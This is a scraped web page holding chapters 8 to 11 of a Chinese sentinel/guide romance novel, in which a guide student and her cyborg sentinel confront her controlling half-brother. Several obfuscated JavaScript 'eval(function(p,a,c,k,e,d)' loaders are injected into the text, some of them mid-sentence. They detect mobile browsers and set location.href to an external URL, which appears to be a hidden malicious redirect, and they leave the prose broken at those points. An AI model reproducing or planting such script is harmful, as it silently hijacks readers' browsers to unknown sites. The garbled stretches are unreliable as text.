d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719289|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓有些错愕,委实不敢相信会从这个人嘴里听到“和别人交流”这种言论。 无意对上那双不变的含笑的眼,十几年相处,总能从中解读出些别样的情绪。 比如说现在,他生气了。 和抓住她年幼溜出家门玩时不同,和观看她青春期初觉醒时不同,和发现她进入向导学院与舍友相约聚会时不同……与过往的任何一次都不同。这次更激愤,更怨怼,掺杂着一丝说不清是不是误判到的杀意,甚至因此难以维系眉梢优美和缓的弧度。 这个认知使她本能地瑟缩,抓紧了073的手。后者大概理解岔了,以为她害怕摔下去,牵着她的手搭回自己颈侧,承托的机械臂往上掂了掂。 摸到比常人缓慢但强劲数倍的脉搏,她再次抬眼。073也在垂眸看她,从始至终没什么表情,像台唯有她掌握密钥、发布指令才会运作的机器。 应知晓福至心灵,应知许……是不想让她和073有太多私下接触的机会吧? 至少在他眼皮底下,他们再亲密也是有限的,还可以最大限度运用他引以为傲的权力,同时控制他们两个。 一如既往的恶心。 不过这也给她提供了一个信息——应知许如此憎恶073,是否证明她的选择是对的?唯有察觉她产生成功离开的可能性,才能引起他这么大的情绪波动。 除了危险,073还有什么特别之处?高傲如应知许也会忌惮?这份忌惮甚至盖过了对她和其余人接触的轻蔑和排斥,仅仅是监护哨兵一个身份还不至于,他也不是没“处理”过迷失的哨兵。 她暂时想不到,但并不妨碍做出后续的判断。主观来讲,让他不舒服的事,一定是对的。 课还是要上的,不能给他扣分的理由。 “我很乐意,老师。”她回答时,手刻意勾紧073的脖颈凑得更近,成功捕捉到他无瑕的微笑面具上出现一丝极小的裂痕。 裂痕像个刚开凿的泉眼,清冽甘醴汩汩冒涌,将她心里虚弱、烦躁、不安的火星通通浇熄,只剩下淋漓的酣畅。如果不是身体没那么多力气,简直想快活大笑。 她收敛好激动的心情,小声征询073的意见:“我们去教室,可以吗?”说白了,这是在利用他,总归心存愧疚。 073利落地抱着她,与应知许擦身而过,忽略学员们探究的视线径直走向教室。 他隐隐感到应知晓的情绪段时间内变化了几次,程度之剧烈,为了分析,植入的辅助芯片险些过载。最终得出了个结论:在这个想杀他的男性向导面前,她很愿意和自己亲近。可以抱,可以牵手,哪怕是在抗拒的人群注视下。 进一步推测,这是向导,或者说是她的一类共情机制,让她心软,让她产生了某种……疼惜。 073思考,他的向导,像纸一样苍白脆弱的女孩,竟然在努力救他,保护他。 义体装载的冷却系统因为这个念头超负荷运转,仍无法抵消攀升的热度。 内嵌的中央处理器向神经传递警报信号。 他的大脑则在叫嚣想要更多。 应知晓忍不住摸摸他的胸口,感受仿生材料下的嗡鸣,讶异道:“073,你还好吗?你、你怎么在响?” 8. 怜我怜卿(八) 073不知道怎么回答。 他此刻的感受很复杂,走了几步,才挑了个最具概括性的回复:“冷却系统故障。” 应知晓仔细听了会,的确像是风扇、水泵之类的动静,怔怔道:“机械的部分……该去哪修?严重吗?” 这种情况超出她的专业范围了。 “不用。”073想说需要等待降温,被她脸颊一靠,转而选择顺从大脑的意志:“这样。”机械臂稍抬,将人按进怀里紧贴。 “……好?”下巴搁在他肩上时,她觉得自己的“冷却系统”也故障了,不然脸为什么会越来越烧?甚至忘了问,抱她跟解决冷却系统故障有什么关联。 当然没关联。 她不问,073的芯片省了不少用于组织语言的算力,他不擅长说谎,义体搭载的辅助芯片也不是以语言模型见长。面对她时,数据分析结论和大脑的意见总是不能统一,消耗精力挣扎,最终仍然倾向于原始渴望。 或许哨兵的劣根性如此,不然中枢院不会只出台《觉醒者保障法》和《未成年向导保护法》而没有《未成年哨兵保护法》了。 要塞培养哨兵的要义是“服从”和“牺牲”,他都能做到。除此之外,能否允许他偶尔说谎,以不伤害她的方式。但说谎有被她发现的风险,向导不会喜欢说谎的哨兵。 说谎与诚实,哪种行为收益更高? 这种计算是他擅长的。 芯片的模拟即刻得出结果—— 一,维系谎言。成功率未知,需累计叠加N+1新谎言,风险呈几何倍数陡升。一旦败露,最坏的结局是惹怒向导,被抛弃。 二,保持诚实。必然要坦白已经出口的谎言。而相关经验表明,他的向导在他主动揭露真相后,无愤怒反馈。相反,似乎触发了某种独特的情绪奖励机制,说了一些很好听、让他难以进入休眠状态的话。 073做了个简单的选择题,进教室后,主动把人放下:“我又说谎了。” “嗯——”应知晓捏捏自己的耳垂,示意他到之前的座位处并排坐好,方才醒神:“你说什么?” “冷却系统,因为抱你过载,该松开,”073平铺直叙,“但我还想抱你,所以骗你。”他头很低,一瞬不瞬观察她的动向。 这下轮到她的大脑过载了,“啊”了半天,压低声音小声问:“怎么不直说?” “在休止囚笼里说了,你拒绝。”073没有半点辩解的意思:“不想被拒绝。” 从话语里拼凑起完整的逻辑,她讷讷道:“那不是拒绝……不对,是拒绝,但只是暂时的。在外面太多人看了,我、我不习惯。” 这不是她第一次以“身处公共场合”为由拒绝亲近了,073难得有了点表情,飞快蹙了下眉:“为什么。” “这……”让她怎么解释? 理智上,她清楚抚触是所有疏导方式中操作起来最简单快捷、最节省精神力、效果优良,极具性价比的一种,每个向导必须掌握的基础技术。 对向导来说,忽视自己哨兵的疏导需求是种非常不专业的恶劣行径,何况073状态已经差到了极点,她却出于性格原因排斥常规疏导,这样的做法实在不像个合格的向导。 可她也是真的感到很难为情,如果不是为了气应知许,连刚刚的拥抱也要缓冲很久。即便如此,经过同学身边时,依旧感到如芒在背,好像从头到脚每个部位、每个动作都在接受审视与评判,加重量刑的砝码。 抛开向导的身份,于她个人而言,肢体接触更像一种危险的禁忌。每当要靠近谁时,一声声“不听话的坏女孩”的训诫在脑内敲响警钟。除了应知许,任何触碰均是不被允许的,任何违逆均会遭受惩罚。 其实她根本不记得自己无比恐惧的惩罚内容具体是什么,仅仅想起那张面具般的笑脸,足够毛骨悚然。教室外那个充满挑衅意味的搂抱,已经是不忿之下突破的极限。 偏偏她又有个明确的认知——在073面前,她不能是胆怯的“好女孩”或“坏女孩”。她必须是一名向导,能够护持监护对象的独立向导。 两种身份,像是两个灵魂、两个人格,争夺着身体的主导权。她的意志还不够强大,无奈在两种状态中摇摆不定。 “抱歉,我……”这些话,这么多想法,通通难以诉诸于口。用力闭了闭眼,发颤的指尖不自觉探向腰侧。 甫一碰到瓷铃边缘,瞬间被布满疤痕的手摁在对方大腿上,073拇指抵住掌根,阻止她握拳。 这个动作隐含的控制意味太过强烈,她顿了顿,愕然抬头。 073拇指上滑,推直她蜷起的关节,掌心展开,一道道凌乱压伤红得泛紫,形状类似不规则的圆。 他弯腰,捧起手凑到唇边。 微凉的风拂过敏感的皮肤,缓解了些不适,应知晓滞后地理解了他在休止囚笼里时对自己的手表现出的执着。 误以为提到受伤只是例行关心,毕竟他说话通常不带语气,原来他在尚未清醒的时候就发现了吗?这么小的伤,破了点皮而已,甚至她自己也才刚刚察觉。 073在光照下检查了几遍,认定伤情轻微,蹭蹭完好的手背,托着她的手放回桌面,坐正了身子。 桌椅的空间对他来说太小了,脊背挺得虽直,腿脚伸展不开,勉强窝进去,把课桌顶得歪斜,仍努力在两人间留出一拳宽的距离,义体的电子元件运转声跟着渐渐静止。 “你不想,我会服从。”073直视前方,说了一句,重归沉默。 凑热闹的学员们蜂拥着回来,应知许落在最后,站在讲台俯瞰分开的两人,屈指叩了叩黑板:“请刚才的同学到老师这里来,对大家分享下经验吧。” 应知晓酝酿的腹稿当即被打散,犹豫片刻,还是走上讲台。 她注意到学员们的眼神,不像刚上课时那么不耐、夹杂着隐隐的嘲讽,现在更多的是中立的好奇和惊讶。 本该为此高兴的,但隔着半个教室看073时,也明晰看到学员们对他变本加厉的警惕和排斥态度,每个人不经意间流露出的表情无一不在提醒她,应知许始终是游刃有余的赢家。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719290|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一次小小的反叛,远不足以推翻他长久的统治。 应知许对两人现在的距离很满意,大发慈悲地开口:“同学们,这堂课剩余的时间就留给你们自由讨论,我只负责解答学术上的疑问。下堂课前交一份简短报告,加入平时成绩。当然,鉴于这次的演示很有教学意义,就不计较迟到的事了。” “你是怎么驱散恸哭的?” “监护改造哨兵有特殊注意事项吗?” “为什么不选普通哨兵啊,你等级很高?” “接触恸哭是什么感觉?” “你一般用哪种方式进行疏导?” …… 同学们关注的重点五花八门,应知晓精神不济,又从没经历过这种场面,一时间被铺天盖地的问题砸得头晕,磕磕绊绊挑着能说上几句的回答,实在答不上的,就道歉跳过。 应知许噙着笑站在她身侧,偶尔指点,像个单纯为学生骄傲的良师。 期间她悄悄瞄了073几次,他的视线一直追随她移动,过浅的瞳色有种半透明的无机质感,逼得她迅速错开眼神。初见时不敢直视,是因为惧怕其中的攻击性,现在则是怕被照见内心的不堪。 真的被说中了,他险些迷失,遭当众羞辱,全是因她而起。她后悔自己太冲动,只想着泄愤,保住了学分,却让他独自承担恶果。 有几个热情的学员表达了和她保持私下联络的意愿,潜在的新朋友也没能冲淡她的低落情绪。 073和在场所有哨兵一样,注意力集中在自己的向导身上,不同的是他没佩戴任何防护装备,接收到的五感数据积压到现在,拓展存储快要溢出,不得不分神清理。 半数感官沉浸在回忆里,从进入囚笼里开始,恸哭雷云里束缚的人面噬咬着他的残存的理智。他早已学会与恒久的疼痛共存,并不会累计多少无用数据。 然而精神图景融进应知晓的精神力时,所有神经元与读取接口都被激活,运算能力被信息洪流挤占,仅剩生物脑发出一个指令——要她。 所有的法律与规则都是笑话,哨兵最大的本能便是侵占,他从不否认这点。 但他还是刹住了,不是不想,是再继续下去,他的小向导真的会死。 单是尝到一丝若有若无的锈气,就想撞破牢笼,将人锁在隐秘角落,确保从此以后她的每寸身体变化只能因他而起。 血的滋味在味蕾上炸开,还有焦急呼唤的声音、盛满他身影的眼睛,黑暗不影响他的五感,更不要说自然环境下,泪液的温热,皮肤的丝柔…… 甜,好甜,它们原本是什么味道,他根本尝不出来,迷乱的大脑粗暴地将所有感受全部命名为“甜”。 073不想丢弃这些感知,随便搜罗了些零散记忆,交由芯片集中删除,腾出内存。反正除了关于应知晓的,其他信息都不重要。 他不停推算,在“享用”和“克制”中做出了正确选择,向导奖励了抚摸;在“欺瞒”与“坦诚”中做出了正确选择,向导奖励了原谅。那么这次选择服从,他的向导会奖励什么? 9. 怜我怜卿(九) 073的视线越来越直接,应知晓精神恍惚,总觉得从他根本没有表情变化的脸上看出了……回味?期待? 是太累,看错了吧。 她注意力涣散得过于明显,缠着讨教的学员们自然发现不对: “你是不是精神力耗竭了?” “傻吧,用你说?肯定是啊。” “怎么一直忍着,别出事了,怪吓人的。” “应老师,您看她……” 应知许无法继续装作不知情,关切道:“辛苦同学坚持分享,身体要紧,老师送你回去。” “我自己可以,”她不耐和他虚与委蛇,又不得不承认,唯有这种情境下,才有一线喘息的空隙,学着他的模样,摆出差不多的虚伪神情,“还有这么多同学等着老师解惑,我的个人问题是小事,就不麻烦老师了。” 再没有阻拦的理由,应知许深深看来一眼:“注意,安全。” 她只小幅度地点了个头,转向台下。 不待出声,073已经起立,一言不发,顺从地跟紧,保持精准的间隔,巧妙挡住她的身形,切断后方应知许瞥来的余光。 出了教室,顿感浑身一松,躬身撑着膝盖,大口喘气。 073手抬到半途,又记起她的意愿,强迫自己按捺。 应知晓缓过来,盯着身旁正要收回的手,犹豫一瞬去抓,只来得及握住无名指和小指。 他收手的动作停顿,僵直地悬着。 “我知道自己离合格的向导还差很远,这个要求也很自私,但希望你能接受我慢慢适应。从牵手开始,可以吗?”她问出口时,心虚得厉害,喉咙空咽了下,试探性地将手指一根根填进他掌中扣紧。 073认为该找个时间去升级冷却系统,以及扩充内存。 芯片的战斗分析模块被大脑指令扭曲迁移,调集算力扫描手部信息。 不是第一次碰触这只手,但是第一次由他的向导主动发起,第一次清醒的、清晰的感受。 与他在哨管所预估的数值误差极小,物理指标没有异常之处,尺寸、形状、温度、密度,读数均在常规范围内,却让身体产生更强烈的反馈。 没得到回答,她越发不安,两人之间的气温都在爬升。绝对不是错觉,交握的手显然在变烫。 073作训服遮盖的外附脊骨上,一排小型阀门接连开启,隐秘排出超过60℃的热流。 “好。”他没细听,内部温度过高险些让与中枢神经接合的核心元件失灵,控制系统濒临瘫痪。 向导的能力原来这么强大,不动用精神力,就能摧毁一套千锤百炼的战争辅助装甲和本体哨兵的意志。 不对,这是应知晓的能力,别的向导不行。 即便到了这种程度,大脑依旧把一系列反馈划分为“奖励”。他也的确在享受,哪怕要承担致命风险。 “还是去做个检查吧?我实在不放心。”应知晓晃了晃手。 “不。”073拒绝得很干脆。 “……能告诉我原因吗?”她提着心问。 073表达真实想法越来越流利:“不想被人碰。” 话音刚落,补充:“不想被别人碰。”说着,顺势把人拉近了点,专注接下来的反馈。 应知晓想说不能讳疾忌医,目光停在另一侧空置的机械臂上,声线霎时低了几度:“对不起。” 她没立场、没资格说这种话,把自己认为的“好”强加给别人,那不是……应知许吗? 想到这,她几乎冒出冷汗,喃喃重复:“对不起!” 这不是他想要的回复。 “为什么道歉。”073不懂。 “都是因为我……”她咬紧唇:“我太失职了,明明该照顾你,却隐瞒了重要的信息,把你卷进自己的私事里。如果不是我,你就不用独自来学院,被警卫为难,被应知许针对,不会被关进休止囚笼,不会失控泄露恸哭,不会像现在这样受伤了又不方便接受治疗。” “不仅这些,我还想当然地对你提条件,要求你接受我片面的想法,忽略了你的感受。成为我的哨兵,平白遭受更差的待遇,甚至保证不了日后不再拖累你。是我,我没能遵守承诺。” 她在说什么。 向导都这么复杂吗。 之后有必要加装个语言模块。 073不动声色地牵着手走路,选择性地从中提取关键词,与她对视:“对不起。” 应知晓迷蒙地睁圆眼睛。 “我迟到了,”他说,“约定八点。” “没遵守承诺。” “不是,这不是你的错!”她急忙辩解。 “那些,也不是你的错。”073艰难地多说了几个字:“我是你的哨兵。” 她听过073这样说,但不太理解“我是你的哨兵”究竟意味什么。 “服从,牺牲,”073努力说明,“为你。” 很耳熟的概念,她思索了会,终于想起,是哨兵服役时的誓言,向导也有相对的——节制,坚韧。 这是要塞和云顶分别划定的职业理想标准,而理想之所以是理想,就是因为难以达成,甚至遥不可及。 比如哨兵出了名的不守规矩,再严格的高压管理也弹压不住惹是生非。又比如向导个顶个的骄矜放纵,再优待的政策也杜绝不了成瘾享乐。 虽然一个是精力过剩,一个是压力过大,都算情有可原,但不妨碍这些是既定事实。 她没想到073真的会以哨兵誓言为行事准则。 “这样对你,太苛刻了。” “我愿意。”073调整措辞:“我喜欢。” 应知晓收紧手指:“可是,很不公平。” 073有独到的理解:“公平,用奖励换。” “奖励?什么奖励?”她跟不上这个思路。 面前身影驻足,倏然压近,锐利视线和灼灼呼吸共同落在一处——她的唇中。 073盯着那两点咬红的齿印不放,他也想咬。 但不能咬。 尝一下也行。 “想亲你。”他言简意赅。 “啊?!”应知晓以为自己听岔了,可他的肢体语言明确到不能再明确,想不懂都难。 “疏导里不包括这个,学校没教……”她的脑子被搅成一团浆糊:“我、我不会。” 向导学院当然不会教学员怎么接吻,这种常识073还是有的。 “不是疏导,”他垂放的机械臂蠢蠢欲动,“是奖励。” “伴侣之间才、才……”她语无伦次。 “嗯,”他问,“可以吗?” 应知晓睫毛抖动,声音也跟着抖:“我们现在只是监护关系,临时的。” 073越凑越近:“可以改。” “哨兵向导结合,很对。” 说完,略顿了顿:“讨厌我?” “不不,不是讨厌,”她猛摇头,“是感觉太快了,太突然,没有心理准备。” “那等你。” “我只是一时没往这方面想过,”她好不容易克服了结巴,诚恳道“我的情况…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719291|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很复杂,和我走得越近,越容易被牵连。如果我们关系更进一步,像今天你的遭遇,以后会更严重。” “不重要,”073尝试用机械臂的指关节碰她脸颊,通过触觉模拟反馈不断调整发力,“只要你。” 她没躲,沉浸在忧虑中:“太危险了……” 073更想亲她了。 他计算过,坚持请求,她大概率会同意。 小向导的共情机制很发达。 但她没有欺负他不擅长说话,他也不想欺负她不擅长拒绝。 何况,她主动时,感受更好。 他擅长做选择。 “不亲了。”073改口:“抱。” 应知晓松了口气,果断张开手臂迎过去:“谢谢你愿意等。” 比起亲吻,搂抱什么的就容易接受多了。 “别谢我。”相扣的十指没有放开,横揽的机械臂箍在腰上,轻轻把人提起来搂紧,边走边强调道。 他又不是什么好东西,没履行本职,吓坏了自己的向导,还利用她的心软得寸进尺,借口索要额外奖励,希冀她包容自己的卑劣。 哨兵是很容易养歪的。 但他不想提醒。 至于那些乱七八糟的事,比不过鼻间萦绕的发梢清香。 只有一点—— 他问:“应知许是谁。” “他是……中枢院最年轻的议员,学院科研成果最新锐的教授,云顶预测最有潜力在35岁前晋升首席的向导,”应知晓每报出一个头衔,表情就凝重一分,“也是我同父异母的亲哥哥。”最后一句简直是从牙缝里挤出来的。 “他讨厌你。”073不在乎前面那一长串称号,他的更长。 “不,”她苦笑,“恰恰相反。” 073步伐慢了下来,眼中罕见地浮现出困惑。 对上他毫无情绪倾向的纯粹目光,不自在地错开眼,纠结了许久才低声道,“他不想当我的哥哥,或者说,不想只当我的哥哥。” 自从觉醒以来,073第一次质疑自己的听力。 “……再说一遍。”他被切除过的大脑和战斗系芯片在这种问题前加起来都不够用。 她硬着头皮,进一步解释:“他的思想比较……扭曲,在他眼里,我、我是他的……” 说到一半,实在说不下去,应知许光鲜的皮囊下,早就腐烂了,哪怕只用言语描述也令人作呕。 “嗯。” 073沉思,或者说是放空了片刻,才接道:“他是你的亲兄弟。” 她点头。 “他是向导。” 她点头。 “啧。” 073咕哝了一句什么。 很短,但声音太小,她没听清:“你说什么?” “没什么。”他答。 这样一切就说得通了,073思路清晰起来。怪不得应知许看他的眼神那么愤懑,憎恶,以及……愱殬。 面带微笑地咬定他擅闯学院,仗着他在自己的向导面前收敛了防御,暗中调用精神力偷袭,再通知警卫是他失控,不由分说将他关进休止囚笼。 原来是为了炫耀自己的权势,又选择让应知晓亲眼目睹。 怪不得抱她时,应知许那副表情,很挫败吧。 都是男人,只会用这么低级的手段吗?明明认出了他,还敢傲慢。 要是应知许再谨慎点,没准有极小的机会将他就地格杀。可惜,这种好机会,以后不会有了。 073在心里默默重复:自不量力。 10. 怜我怜卿(十) 应知晓仍处于力竭带来的虚弱期,探查不到073的精神波动,也没这个必要。 他的脚步重得要砸裂地面,机械指隔着制服加压,按得皮肤微微凹陷,又即刻松开,反反复复,幅度太小,频率太快,仿佛在震颤。 仍属于人类的部分躯干简直是火堆里的石头,很难想象作训服底下坚硬的触感来自真实的血肉。 一系列变化都起于那声“啧”之后,他说“没什么”实在无法让人信服。 “你生气了吗?”她忐忑地斟酌措辞:“我明白的,是我太冒失了,告诉你这种、这种事……” 他当然生气,不过不是因为她。 愤怒是哨兵情绪的终点,喜悦、悲伤、不安、恐惧……任何感受在叠加百十倍千万次无从消解时,会先引起躁动,随后转为势不可挡的愤怒,熔断理智和人性。 但愤怒对他而言,算是种相对陌生的情绪。 REVENANT系列的改造哨兵功能侧重点各不相同,轮到他时,实验室失败了无数次,得到了许多威力强大但完全不可控的疯子,终于把方向转变为追求“稳定高效的士兵”。 为了达成这个目标,研究组在他的大脑前额皮层处埋设了紧急药物注射预案,对杏仁核进行了惰化手术,又切除了小部分海马体,衔接存储器代替。 这些信息都是从个人档案上看来的,他没经受过专业的医疗训练,对具体原理不甚了解,也不在乎。只能肯定他们成功了,直观地体现为他的情绪远比普通哨兵淡漠,否则根本忍耐不了大量恸哭长久折磨。 当区别于得到奖励而兴奋的体温升高时,他首次在非战斗状态收到了来自义体芯片的肾上腺素水平激增警报。血液在肌肉与骨骼间加速流动,令他破坏欲高涨。 他处决过很多人,失控哨兵、叛逃向导、外界间谍乃至获罪高官,每次动手只是执行命令,完成任务,不愧疚,也不享受。 某种意义上,应知许和他的小向导一样厉害,让他产生了命令以外的冲动。 “嗯。”073的思考很快有了结果,与她交握的那只手指尖摩挲:“应知许,我会解决。” 语调平直,冠戴重重光环的象征从他口中念出,不璀璨,不夺目,只是一个普通的人名。 即便到了今天,在这件事上,她也没抱有太多期待。应知许是用气生根绞杀生长空间内一切植物的榕树,是鳞片闪耀盘踞雨林间的毒蛇,是宝石砌墙的华美迷宫。她是被无边绿影遮蔽阳光的枯黄幼苗,是不明危机究竟匿于何方的惶然倦鸟,是遍寻出路无果歇斯底里的困兽。 做过最大胆的梦,不过是在密不透风的“庇护”里撕开条缝隙,争取呼吸几口流动空气的自由。 怔忪间,她听到自己惊疑的声音:“……怎么解决?” 静了足足五秒,数据分析结果再次败给大脑,073顶着系统警报认真道:“杀了。” “……” 应知晓手背贴了贴自己的额头,想说“不可能”,想说“不可以”,最后说的却变成:“真的吗?” 话一出口,就吓到了。不是被073,是被自己。 这个狂悖的、罪恶的念头一经点拨,犹如火星弹进荒野,燎原邪火翻腾着直冲天际,每丛助燃的杂草,是她积年累月的憎、怨、恨。 她紧咬牙关,似乎不这么做,心脏下一秒会从喉咙里跳出来。 原来她循规蹈矩的表象下,潜藏着可怖的阴暗。 随呼吸剧烈起伏的身体牵动了瓷铃,连串的叮当脆响将险些飞散的意识震回体内。 恢复了丝清明,慌忙捂住073的嘴,小心张望,所幸这会儿学员基本都有课,他们穿行的园艺走廊附近没发现可疑身影。 “万一被听到,你——”她的手没抖,但僵得像块木头。 “没人。”073不想松开相扣的手,伸舌舔她盖在唇上的手心。这只没受伤,细碎的掌纹很浅,有点凉,很香,品了品,又舔了一下。 她猛地缩手,一时不知该摆出什么表情,半晌,脸色变换数次:“你别胡说!” “真的。”073谈论一场谋杀,寻常得如同喝水。 她该制止这个话题,可话到嘴边,鬼使神差地问了句:“你有把握?” “有。”他诚恳答:“他实力,一般。”其实很弱,考虑到精神力强度,暂且高估些,麻烦的是那些关系。 “物理层面上或许是,但他成年时已经是甲级向导,这么多年的锻炼,一次精神力冲击可能直接击碎你的精神图景!”扶着他肩膀的手不自觉用力。 073不以为意:“我有你。” 她满脸的不可思议:“你看过我的成绩啊,我不可能是他的对手。” 小向导显然理解错了,这种争斗怎么会让她牵涉进来。他只是想到有她在等,他更不舍得死。 他尽量表述清楚:“你等我,没事。” 这句话反倒叫醒了她,那点浮动的心绪彻底沉寂:“哨兵蓄意侵害向导人身安全,从重处罚,致严重伤残或死亡的案例,全部是死刑,怎么会没事?” “不会。”073很笃定。 这个态度简直要把她急坏了,险些没控制好音量,在他怀里挣动起来:“你不用骗我!” 073沉默一瞬,将人轻放在道旁石凳坐着,半跪下来,右手扶住她膝弯:“没骗你。” 他决定过,对她只说真话。 她眼神微闪:“你……也有什么事想告诉我吗?”是不是和她一样的秘密? “最多终身禁闭,”073解释,“中枢院需要我。” 杀死应知许,中枢院自然会震怒,但实验室只会给出报告,说明“98.26%”的改造稳定性,应知许不过是那个倒霉的极小概率。鉴于他是REVENANT系列唯一的在役哨兵,那帮人会在未来几十年继续压榨他的剩余价值,多半很痛苦,但会让他活着。 应知晓分不清此时心里到底是什么滋味:“为了我,不值得。” 她对世界的了解乏善可陈,仅来自于课堂和有限的书籍。但她了解囚徒,了解没有自由的窒息,了解漫漫长夜的无望,并不比死轻松。 “如果我的自由必须用你的自由来换,不值得。”她说。 “你重要,值得。”073不喜欢她的语气,好像她是飞鸟更换的羽毛、树梢脱落的枯叶或是其他什么轻飘飘的、无关紧要的东西。 她很好,很重要,值得他用一切交换。 他的向导,认定的伴侣,一潭死水的生涯中仅有的波澜,他想要她鲜活、自在。 “应知许死,你会好。”这是他能想到的,最直接的说服理由。 “不会好的,”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719292|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉起073扶在自己腿弯处的手,贴到脸侧,“因为代价是你。” “我承认,有一秒钟,或者两秒,我心动了。” 她蹭了蹭他一点都不柔软、有些硌人的掌心,双手捧着,缓缓印上个吻:“但我付不起这样的代价。你想和我结为伴侣,你愿意为了另一半牺牲……” “那我呢?” “你想没想过我?” 073瞳孔放大,浅灰的眼像蒙霜的水晶。 应知晓唇瓣压在他掌上颤动,声音略显失真:“如果我对你而言,重要到可以付出生命,你对我来说又意味着什么?你要我踩着你的尸体、你的灵魂获救,可我真的能就此解脱吗?从那往后,我的牢笼不再是应知许,而是你。你送给我的不会是笑容,只有遥遥无期的别离留下的永恒伤痛。” “我暂时没办法接受关系更进一步,不代表我不在乎你,请不要轻视我的感情。不要丢下我一个,我没有那么强悍的意志,我无法忍受得到你的陪伴后又因为自己的缘由失去你,这对我是一种残忍。”她将脸埋进他掌中,瓮声道:“我不要你的牺牲,我只要你。” 073张了张嘴,声带死死锈住,说不出话。 他感到掌心一道、两道湿意洇开,滚烫的,烫坏了他的喉咙,嗓音嘶哑:“我错了,别哭。” “别哭。” “我错了。” 忙乱地抹去那些漫开的水渍,艰涩重复:“别哭。” 其实应知晓并不爱哭,多年来委屈成习惯,实则没哭过几回。她自己都想不到身体里竟然能积蓄这样多的眼泪。可越控制,越止不住,一时间身体里所有水分都汹涌地从狭窄的泪腺里挤出来。 073只觉得自己的人造心脏要报废了,不然它为什么不跳了? 他不敢用机械手擦泪,害怕在这种情况下做不到精密把控力度,垂在身侧“吱呀”乱响。 从来没有这么懊悔过自己是个改造哨兵,否则此刻能有一对正常齐整的手臂拥抱她。 她的眼泪怎么擦不完? 他用指腹、用指节、用手背一次次拭掉泪滴,立刻又有新的滚落。很大一颗,“啪嗒啪嗒”砸下来,砸得他骨头都在疼。 “别哭。” 073双膝重重轧进地面,跪行了半步,抵住她的小腿,又颓然地佝着腰:“求你。” “求你,别哭。” “好疼。” 她摇摇头,想说自己也止不住,刚一开口,只发出了窒息般的抽噎。 073才是真正缺氧的那个,诚惶诚恐地捞着她脖颈,凑上去用唇舌一滴滴吮走那些泪珠。 这简直是世界上最苦的毒药,卷进口中,烧得五脏六腑阵阵痉挛,比改造手术疼。 应知晓被他的动作惊到,憋着的哭嗝也散了,眼泪终于跟着慢慢停住。 两人的距离近到眼睛都无法聚焦,模糊的视野中勉强辨认出他被眼泪浸润,战栗的唇。 她脑子一热,倏地闭眼,打绺的睫毛扫过他颌角。 073刚恢复的呼吸又一顿,旋即渐渐急促,鼻梁蹭着她的脸颊下移。 “可以吗?”他问。 “……嗯。” 他长长叹息,却退开了些。 她神色茫然。 073只在她发红的眼皮轻啄了下:“有人。” 11. 怜我怜卿(十一) “是谁?” “不认识。”073老实回答。 应知晓吸吸鼻子,意识到自己犯傻了,学院里的向导们他怎么会认识。 073仔细听了下:“三个人,路过。” “走吗?”他询问,换作单膝触地,以便随时行动。 自己的向导不喜欢被人看。 “我有点累,”犹豫一瞬,她打消了起身的念头,望着他的眼睛,拍拍身旁的位置,“……陪我待会好吗?” 好。 怎么可能不好。 想归想,073的身体并没动。 “怎么了?”她有些不解。 “会被看,”他低垂着头,“你不喜欢。” 眨了几次眼才听懂他的意思,她又指了指身侧,说话时还掺着未完全平复的哽咽,刻意放慢语速,吐字尽量清晰:“陪陪我吧?” “你是我的哨兵啊。” 073身躯震了震,上到眉梢,下至后腰绷得笔直。 “我承诺了要尽快习惯,不如从现在开始,一点点习惯向所有人证明我们的关系,试着不逃避,不躲藏,”她摊开手勾了勾示意他过来,“希望不用你等太久。” “不久,”073挨着她坐下,满足地将她的手包进掌心裹住,举到唇边,试探性地亲了亲手背,“奖励。” “不是奖励,”应知晓莫名理解了他的意思,轻轻摇头,另一只手抚摸他的脸,“奖励是上位者对下位者的特权,我没有这样的权力。如果你把我认定是专属的向导,是伴侣,那我接受的所有亲近,不是什么高贵的赏赐,单方面的激励和允许,只是因为喜欢你。” 073卡壳般重复:“……喜欢。” 这样直白的表达让她很不好意思,但还是点头:“是。” 073按着她抚过脸庞的手,从指尖一路亲到手腕内侧:“喜欢?” 她的脸几乎比刚哭过的眼睛还红:“嗯。” 